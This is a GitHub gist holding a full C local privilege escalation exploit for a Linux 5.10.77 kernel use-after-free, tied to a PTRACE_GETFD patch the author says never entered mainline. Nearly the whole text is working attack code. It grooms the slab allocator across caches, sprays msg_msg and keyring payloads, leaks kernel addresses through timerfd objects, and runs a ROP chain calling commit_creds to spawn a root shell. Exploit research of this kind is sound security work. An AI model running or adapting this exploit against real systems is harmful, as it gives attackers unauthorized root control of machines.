Skip to content

Instantly share code, notes, and snippets.

@soez
Created July 2, 2023 21:23
Show Gist options
  • Save soez/fe35c29b042f3ea666550195cf4b68df to your computer and use it in GitHub Desktop.
Save soez/fe35c29b042f3ea666550195cf4b68df to your computer and use it in GitHub Desktop.
No CVE for this https://lkml.org/lkml/2019/12/5/814 it has never been in the official kernel
/*
*
* Author: @javierprtd
* Date : 22-06-2023
* Kernel: 5.10.77
* Bug : https://lkml.org/lkml/2019/12/5/814
* Review: This bug has never been in the official kernel
* Post : https://soez.github.io/posts/no-cve-for-this.-It-has-never-been-in-the-official-kernel
*
*/
// gcc exp.c -no-pie
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <string.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <stdbool.h>
#include <sys/syscall.h>
#include <sys/ptrace.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <linux/keyctl.h>
#include <sys/timerfd.h>
#define OBJECT_SIZE 256
#define OBJS_PER_SLAB 16
#define CPU_PARTIAL 64
#define MTYPE_FIRST 0x41
#define MTYPE_SECOND 0x42
#define MSG_HEAD_SIZE 48
#define NUM_MSQIDS 4096
#define PAGE_SIZE 4096
#define NUM_FILES 1024
#define NUM_TIMERS 1024
#define NUM_BYTES 20000
#define NUM_KEYS 200
#define BEGIN_OBJ PAGE_SIZE - MSG_HEAD_SIZE - sizeof(uint64_t)
#define PTRACE_GETFD 0x420f
#define STACK_SIZE (1024 * 1024)
#define NULL_MEM 0xfffffe0000002000
typedef int32_t key_serial_t;
int pipefd[2];
key_serial_t keys[NUM_KEYS];
int fd_timer[NUM_TIMERS];
int msqid[NUM_MSQIDS];
int fd_init[NUM_FILES];
uint32_t fd[(CPU_PARTIAL + 3) * OBJS_PER_SLAB];
struct msg {
uint64_t type;
char text[BEGIN_OBJ + OBJECT_SIZE];
};
/*
* Attach to a specific CPU.
*/
bool pin_cpu(int cpu) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("[-] sched_setafinnity(): ");
return false;
}
return true;
}
static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {
return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
}
static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {
return syscall(__NR_add_key, type, description, payload, plen, ringid);
}
int write_msg(int msqid, void *msgp, size_t msgsz) {
if (msgsnd(msqid, msgp, msgsz, IPC_NOWAIT | MSG_NOERROR) < 0) {
perror("[-] msgsnd");
exit(0);
}
return 0;
}
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT | MSG_NOERROR) < 0) {
perror("[-] msgrcv");
printf("errno: %d\n", errno);
exit(0);
}
return 0;
}
int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz, msgtyp, IPC_NOWAIT | MSG_NOERROR) < 0) {
perror("[-] msgrcv");
exit(0);
}
return 0;
}
int traceme(void* arg) {
pid_t pid = getpid();
ptrace(PTRACE_TRACEME, pid, NULL, NULL);
write(pipefd[1], &pid, 4);
sleep(1);
exit(0);
}
int get_fd(uint32_t fd_idx, uint32_t last) {
pid_t tid;
int status;
void *stack = calloc(1, STACK_SIZE);
/* Attach process */
clone(traceme, stack + STACK_SIZE, CLONE_VM | CLONE_FILES | SIGCHLD, NULL);
read(pipefd[0], &tid, 4);
puts("[+] Put extra references of the fd vulnerable in file table");
/* Insert 3 more extra references of the vulnerable fd */
for (int j = 0; j < 3; j++) {
int err = ptrace(PTRACE_GETFD, tid, NULL, fd[fd_idx]);
if (err < 0) {
perror("err: ");
exit(0);
}
}
wait(&status);
/* Close fd vulnerable */
close(fd[fd_idx]);
/* Return first reference to the fd vulnerable */
return fd[last] + 1;
}
void hexdump(uint64_t *buf, uint64_t size) {
for (int i = 0; i < size / 8; i += 2) {
printf("0x%x ", i * 8);
printf("%016lx %016lx\n", buf[i], buf[i + 1]);
}
}
uint64_t user_cs, user_ss, user_sp, user_rflags;
void save_state() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
void shell(void) {
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
if (!getuid()) {
printf("[+] Got root shell :)\n");
execve(shell, args, NULL);
} else {
printf("FAIL\n");
}
exit(0);
}
int main(int argc, char *argv[]) {
puts("[+] No CVE for this");
/* Open pipe */
if (pipe(pipefd) < 0) {
perror("[-] pipe");
exit(0);
}
/* Get num of cpu */
int ncpus = sysconf(_SC_NPROCESSORS_ONLN);
/* The buffer for user_key_payload spray */
char buffer[OBJECT_SIZE - 24];
memset(buffer, 0, sizeof(buffer));
*(uint64_t *) &buffer[40 - 24] = NULL_MEM; // fops
*(uint64_t *) &buffer[56 - 24] = 1; // f_count
*(uint32_t *) &buffer[68 - 24] = 0X4000; // mode
/* Set num files to 65535 */
struct rlimit limit;
limit.rlim_cur = 65535;
limit.rlim_max = 65535;
if (setrlimit(RLIMIT_NOFILE, &limit) != 0) {
perror("[-] setrlimit()");
exit(0);
}
puts("[+] Open init files");
/* Open init files to better cross cache */
for (int i = 0; i < NUM_FILES; i++) {
fd_init[i] = open("/etc/passwd", O_RDONLY);
}
sleep(1);
puts("[+] Start msg_msg");
/* Init msg_msg */
for (int i = 0; i < NUM_MSQIDS; i++) {
if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror("[-] msgget");
exit(0);
}
}
sleep(1);
int i = 0, offset = 0, fd_idx = 0, fd_last;
/* Struct msg, for spraying with msgsnd */
struct msg message_w, message_r;
memset(&message_w, 0, sizeof(message_w));
message_w.type = MTYPE_FIRST;
*(uint64_t *) &message_w.text[BEGIN_OBJ + 40] = NULL_MEM; // fops
*(uint64_t *) &message_w.text[BEGIN_OBJ + 56] = 2; // f_count
*(uint32_t *) &message_w.text[BEGIN_OBJ + 68] = 0x4000; // mode
puts("[+] Start cross cache attack");
/* Start cross cache */
for (i = 0; i < ((CPU_PARTIAL + 1) * OBJS_PER_SLAB); i++) {
fd[i] = open("/etc/passwd", O_RDONLY);
}
offset += i;
/* Going on with cross cache */
for (i = 0; i < (OBJS_PER_SLAB - 1); i++) {
fd[offset + i] = open("/etc/passwd", O_RDONLY);
}
offset += i;
fd_idx = offset++;
puts("[+] Getting fd vulnerable");
/* Get fd vulnerable */
fd[fd_idx] = open("/etc/passwd", O_RDONLY);
puts("[+] Going on with cross cache");
/* Going on with cross cache */
for (i = 0; i < (OBJS_PER_SLAB + 1); i++) {
fd[offset + i] = open("/etc/passwd", O_RDONLY);
}
offset += i;
fd_last = --offset;
/* Put extra references of the fd vulnerable in file table */
/* And get first reference of the fd vunerlable */
int fd_victim = get_fd(fd_idx, fd_last);
printf("[+] First fd vulnerable: %d\n", fd_victim);
/* For leaving one partial slab */
open("/etc/passwd", O_RDONLY);
puts("[+] Finishing cross cache");
/* Emptying the page of the fd vulnerable */
for (i = 1; i < (OBJS_PER_SLAB + 2); i++) {
close(fd[fd_idx + i]);
close(fd[fd_idx - i]);
}
/* Close 1 fd per full slab to cause overflow in the partial list */
/* Then it will discard the whole slab (page) of the fd vulnerable */
/* Because it is all the slab free */
for (i = 0; i < (14 * OBJS_PER_SLAB); i++) {
if (i % OBJS_PER_SLAB == 0) {
close(fd[i]);
}
}
puts("[+] msg_msg spray");
/* msgsnd spray */
for (i = 0; i < NUM_MSQIDS; i++) {
pin_cpu(i % ncpus);
if (write_msg(msqid[i], &message_w, sizeof(message_w.text)) < 0) {
perror("[-] write_msg");
exit(0);
}
}
sleep(1);
puts("[+] Find object on msg_msg");
/* Close 1 reference of fd_victim */
/* But it will not free */
/* The f_count = 2 */
int ret = close(fd_victim);
if (!ret) {
char *buf = NULL;
uint32_t uaf = 0, uaf_key = 0;
for (i = 0; i < NUM_MSQIDS; i++) {
pin_cpu(i % ncpus);
/* Read de messages of first spray for finding the vulnerable object */
memset(&message_r, 0, sizeof(message_r));
if (peek_msg(msqid[i], &message_r, sizeof(message_r.text), 0) < 0) {
perror("[-] peek_msg");
exit(0);
}
buf = ((char *) &message_r) + PAGE_SIZE - MSG_HEAD_SIZE;
/* Found message, deleted */
if (buf[56] != 2) {
uaf = i;
printf("[+] Found object at %d\n", uaf);
memset(&message_r, 0, sizeof(message_r));
if (read_msg(msqid[uaf], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) {
perror("[-] read_msg");
exit(0);
}
break;
}
}
if (uaf) {
sleep(1);
puts("[+] spray keyring");
/* Spray user_key_payload struct */
for (int i = 0; i < (NUM_BYTES / OBJECT_SIZE); i++) {
pin_cpu(i % ncpus);
snprintf(buffer, OBJECT_SIZE - 24, "key-%d", i);
keys[i] = add_key("user", buffer, buffer, OBJECT_SIZE - 24, KEY_SPEC_PROCESS_KEYRING);
if (keys[i] < 0) {
perror("[-] add_key");
exit(0);
}
}
/* Close 1 reference, it will be freed */
close(fd_victim + 1);
char buff[OBJECT_SIZE - 24];
/* Finding vulnerable object */
for (int i = 0; i < (NUM_BYTES / OBJECT_SIZE); i++) {
uint32_t keylen = keyctl(KEYCTL_READ, keys[i], (long) buff, 232, 0);
if (keylen < 0) {
perror("[-] keyctl");
exit(0);
}
if (buff[32] != 1) {
uaf_key = i;
printf("[+] Found UAF key object at %d\n", uaf_key);
break;
}
}
if (uaf_key) {
puts("[+] msg_msg spray");
/* In this step, with this spray we are modifing the len of user_key_payload struct */
message_w.type = MTYPE_FIRST;
*(uint64_t *) &message_w.text[BEGIN_OBJ + 16] = 1024; // size key
*(uint64_t *) &message_w.text[BEGIN_OBJ + 56] = 1; // f_count
for (i = 0; i < NUM_MSQIDS; i++) {
if (i != uaf) {
pin_cpu(i % ncpus);
if (write_msg(msqid[i], &message_w, sizeof(message_w.text)) < 0) {
perror("[-] write_msg");
exit(0);
}
}
}
puts("[+] Making holes in msg_msg objects");
/* Making holes close by the vulnerable object for timerfd_ctx struct */
for (i = uaf - 48; i < (uaf + 48); i++) {
if (i != uaf) {
memset(&message_r, 0, sizeof(message_r));
if (read_msg(msqid[i], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) {
perror("[-] read_msg");
exit(0);
}
}
}
// hexdump((uint64_t *) leak, 1024);
puts("[+] Spray timerfd_ctx");
/* Spray timerfd_ctx */
/* For leaking kernel base and the heap object address */
struct itimerspec its;
its.it_interval.tv_sec = 0;
its.it_interval.tv_nsec = 0;
its.it_value.tv_sec = 10;
its.it_value.tv_nsec = 0;
for (int i = 0; i < NUM_TIMERS; i++) {
pin_cpu(i % ncpus);
fd_timer[i] = timerfd_create(CLOCK_REALTIME, 0);
timerfd_settime(fd_timer[i], 0, &its, 0);
}
char leak[1024];
/* Get leak */
uint32_t keylen = keyctl(KEYCTL_READ, keys[uaf_key], (long) leak, 1024, 0);
if (keylen < 0) {
perror("[-] keyctl");
exit(0);
}
uint64_t timerfd_tmrproc = *(uint64_t *) &leak[0x110];
if ((int64_t) timerfd_tmrproc < 0) {
uint64_t kernel_base = timerfd_tmrproc - 0x3db850;
uint64_t chunk = *(uint64_t *) &leak[0x178] - 0x190;
printf("[+] kernel base: 0x%lx\n", kernel_base);
printf("[+] heap payload: 0x%lx\n", chunk);
uint64_t rip = kernel_base + 0xbe00b5;
uint64_t add_rsp = kernel_base + 0x1b1f1e;
uint64_t pop_rdi = kernel_base + 0x5eb4b3;
uint64_t prepare_kernel_cred = kernel_base + 0xf3c30;
uint64_t commit_creds = kernel_base + 0xf39c0;
uint64_t kpti_trampoline = kernel_base + 0xe00fb0 + 22;
/* Save registers */
save_state();
/* The final buffer with ROP */
memset(&message_w, 0, sizeof(message_w));
message_w.type = MTYPE_SECOND;
*(uint64_t *) &message_w.text[BEGIN_OBJ + 8] = chunk + 0x400; // rbp
*(uint64_t *) &message_w.text[BEGIN_OBJ + 16] = add_rsp; // add rsp, 0x70
*(uint64_t *) &message_w.text[BEGIN_OBJ + 40] = chunk; // fops
*(uint64_t *) &message_w.text[BEGIN_OBJ + 56] = 1; // f_count
*(uint64_t *) &message_w.text[BEGIN_OBJ + 120] = rip; // rip
*(uint64_t *) &message_w.text[BEGIN_OBJ + 136] = 0; //
*(uint64_t *) &message_w.text[BEGIN_OBJ + 144] = 0; //
*(uint64_t *) &message_w.text[BEGIN_OBJ + 152] = chunk + 0x400; // rbp
*(uint64_t *) &message_w.text[BEGIN_OBJ + 160] = pop_rdi; // pop_rdi
*(uint64_t *) &message_w.text[BEGIN_OBJ + 168] = 0; // arg
*(uint64_t *) &message_w.text[BEGIN_OBJ + 176] = prepare_kernel_cred; // prepare_kernel_cred
*(uint64_t *) &message_w.text[BEGIN_OBJ + 184] = commit_creds; // commit_creds
*(uint64_t *) &message_w.text[BEGIN_OBJ + 192] = kpti_trampoline; //
*(uint64_t *) &message_w.text[BEGIN_OBJ + 200] = 0; // dummy rax
*(uint64_t *) &message_w.text[BEGIN_OBJ + 208] = 0; // dummy rdi
*(uint64_t *) &message_w.text[BEGIN_OBJ + 216] = (uint64_t) shell; // shell
*(uint64_t *) &message_w.text[BEGIN_OBJ + 224] = user_cs; // user_cs
*(uint64_t *) &message_w.text[BEGIN_OBJ + 232] = user_rflags; // user_rflags
*(uint64_t *) &message_w.text[BEGIN_OBJ + 240] = user_sp & 0xffffffffffffff00; // user_sp
*(uint64_t *) &message_w.text[BEGIN_OBJ + 248] = user_ss; // user_ss
puts("[+] Free object to leave space to the final payload");
/* Free the vulnerable object for leave space to the final payload */
keylen = keyctl(KEYCTL_REVOKE, keys[uaf_key], 0, 0, 0);
if (keylen < 0) {
perror("[-] keyctl");
exit(0);
}
sleep(1);
puts("[+] Last msg_msg spray");
/* Spray the final payload with ROP */
for (int i = 0; i < 64; i++) {
if (i != uaf) {
pin_cpu(i % ncpus);
if (write_msg(msqid[i], &message_w, sizeof(message_w.text)) < 0) {
perror("[-] write_msg");
exit(0);
}
}
}
puts("[+] Cleaning up");
/* Cleaning up the timerfd_ctx */
for (int i = 0; i < NUM_TIMERS; i++) {
close(fd_timer[i]);
}
/* Cleaning up the user_key_payload struct */
for (int i = 0; i < (NUM_BYTES / OBJECT_SIZE); i++) {
if (i != uaf_key) {
uint32_t keylen = keyctl(KEYCTL_REVOKE, keys[i], 0, 0, 0);
if (keylen < 0) {
perror("[-] keyctl");
exit(0);
}
}
}
/* Cleaning up the msg_msg buffers */
for (i = 0; i < (uaf - 48); i++) {
memset(&message_r, 0, sizeof(message_r));
if (read_msg(msqid[i], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) {
perror("[-] read_msg");
exit(0);
}
}
/* Cleaning up the msg_msg buffers */
for (i = (uaf + 48); i < NUM_MSQIDS; i++) {
memset(&message_r, 0, sizeof(message_r));
if (read_msg(msqid[i], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) {
perror("[-] read_msg");
exit(0);
}
}
/* Cleaning up the init files */
for (int i = 0; i < NUM_FILES; i++) {
close(fd_init[i]);
}
/* Cleaning up the fds from cross cache */
for (int i = 0; i < ((CPU_PARTIAL + 1) * OBJS_PER_SLAB); i++) {
if (i % OBJS_PER_SLAB != 0) {
close(fd[i]);
}
}
puts("[+] Triggering ROP");
/* Trigger ROP */
close(fd_victim + 2); // trigger control RIP
} else {
puts("[+] No leak found :(");
}
} else {
/* Cleaning up user_key_payload struct */
for (int i = 0; i < (NUM_BYTES / OBJECT_SIZE); i++) {
uint32_t keylen = keyctl(KEYCTL_REVOKE, keys[i], 0, 0, 0);
if (keylen < 0) {
perror("[-] keyctl");
exit(0);
}
}
puts("[+] No key found :(");
}
} else {
/* Cleaning up msg_msg */
for (i = 0; i < NUM_MSQIDS; i++) {
pin_cpu(i % ncpus);
memset(&message_r, 0, sizeof(message_r));
if (read_msg(msqid[i], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) {
perror("[-] peek_msg");
exit(0);
}
}
puts("[-] No msg_msg found :(");
}
} else {
puts("[-] spray failed :(");
}
exit(0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment